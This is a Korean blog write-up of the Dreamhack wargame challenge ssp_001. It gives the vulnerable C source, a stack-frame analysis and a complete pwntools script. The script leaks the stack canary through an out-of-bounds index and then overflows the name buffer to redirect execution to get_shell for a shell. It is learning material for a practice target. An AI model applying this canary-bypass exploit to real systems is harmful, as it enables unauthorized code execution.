문제: https://dreamhack.io/wargame/challenges/33
ssp_001
Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세
dreamhack.io
📍 보호기법

32비트 아키텍처, 카나리 있음, 파이 없음
📍 소스코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
F 입력:
40바이트 크기의 배열인 box의 사이즈만큼 read() 함수로 입력받아 box에 저장한다.
P 입력:
scanf()의 %d 형식지정자로 입력을 받아, 0으로 초기화된 정수형 변수 idx에 저장한다.
print_box() 함수를 실행한다.
box[idx]의 값을 %02x 형식지정자로 출력한다.
이때 box 배열에서 출력할 인덱스(idx)를 직접 정할 수 있으므로, box 배열의 범위를 벗어난 곳의 값을 출력할 수 있다.
E 입력:
scanf()의 %d 형식지정자로 입력을 받아, 0으로 초기화된 정수형 변수 name_len에 저장한다.
name_len 크기만큼 read() 함수로 입력받아 name 배열에 저장한다.
이때 입력받는 최대 바이트(name_len)를 직접 정할 수 있으므로, name 배열의 크기를 넘어서는 입력을 줄 수 있다.
get_shell() 함수가 있으니까 리턴주소를 get_shell()의 주소로 덮으면 될 것 같다.
그런데 보호기법에 Canary가 발견되었으므로, 카나리 값을 찾아내야 한다.
지금까지 추측으로는,
case P에서 카나리 릭 하고,
case E에서 name 배열에서부터 리턴주소를 덮으면 될 것 같다.
솔직히 case F는 뭔 쓰임이 있는지 아직 잘 모르겠다.
이제 변수들의 위치를 정확히 알기 위해 바이너리를 분석해 보자.
🫧 스택 프레임 구조

case F의 분기문이다.
box 배열의 위치는 [ebp-0x88]이다.

case P의 분기문이다.
scanf 전에 꺼내는 [ebp-0x94]가 idx이다.

scanf 전에 꺼내는 [ebp-0x90]이 name_len이고,
read 전에 name_len과 함께 꺼내는 [ebp-0x48]이 name이다.

32비트 아키텍처라서 카나리가 [ebp-0x4]에 있을 거라고 예상했는데,
gs:0x14에 있는 실제 카나리 값과 xor 연산을 수행하는 값은 [ebp-0x8]에 있는 값이었다.
근데 연산 결과가 참이면 실행하는 게 [ebp-0x4]의 값을 edi에 복사하는 거다.
그러고 나서 바로 leave; ret을 수행한다.
그럼 [ebp-0x4]에는 뭐가 들어 있는 거지...? 👻
일단 정리하자면 변수들의 위치는 다음과 같다.
box: [ebp-0x88]
idx: [ebp-0x94]
name_len: [ebp-0x90]
name: [ebp-0x48]
Canary: [ebp-0x8]
즉 스택 프레임은 이렇게 생겼다.
(높은 주소)
| 리턴주소 |
| 베이스 포인터 |
| 카나리 |
| name |
| box |
| name_len |
| idx |
(낮은 주소)
🫧 시나리오
idx 값은 box와 카나리 간 offset = 0x80에 카나리 첫 바이트(\00)를 고려해 1을 더한다.
근데? print_box() 함수에서 %02x로 1바이트씩 출력을 해주니까?
4바이트 크기의 카나리에서 널 바이트는 빼고 3바이트를 출력해야 하니까?
3번 반복해야 할 것 같다!! 👊👊👊
라고 생각했는데 널 바이트로 미리 카나리를 초기화해놓고 거기다가 1바이트씩 리틀엔디안으로 변환해서 붙이려니까 코드가 너무 더러워졌다.
그래서 카나리 4바이트 중 맨 뒤의 바이트부터 거꾸로 출력한 다음, p32()로 한 번에 리틀엔디안으로 뒤집기로 했다.
스크립트를 작성해 보자.
from pwn import *
p = remote('host3.dreamhack.games', 9942)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
canary = b""
for i in range(131, 127, -1):
p.sendlineafter("> ", 'P')
p.sendlineafter("index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
canary = int(canary, 16)
payload = b'A'*0x40 + p32(canary) + b'B'*4 + b'C'*4 + p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter('Size : ', str(2000))
p.sendlineafter('Name : ', payload)
p.interactive()
'P'는 잘 써놓고 'E' 입력하는 거 빼먹어서 오래 삽질했다... 괴로운 시간이었다.

그리고 파일명에 pwn을 썼더니 스크립트 맨 위에 있는 from pwn 구문에서 에러가 생겼다.
파이썬은 이걸 해석할 때 pwntools가 아니라 내 파일 pwn.py라고 생각한다고 한다...
바로 개명해줬다.

🚩
🧙♂️
pwntools가 아직 안 익숙해서 계속 어렵게 느껴진다...
그래도 여러 번 혼자 써보려고 하다 보니 전보다 거리감이 많이 줄었다!
전에는 남들의 라업 보면서 이걸 뚝딱뚝딱 어떻게 쓰지? 했는데 나도 고지가 머지않은 느낌(hopefully)
'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글
| [드림핵] rop (0) | 2025.03.29 |
|---|---|
| [드림핵] Return to Library (0) | 2025.03.28 |
| [드림핵] Return to Shellcode (0) | 2025.03.26 |
| [드림핵] basic_heap_overflow (0) | 2025.03.25 |
| [드림핵] cmd_center (0) | 2025.03.23 |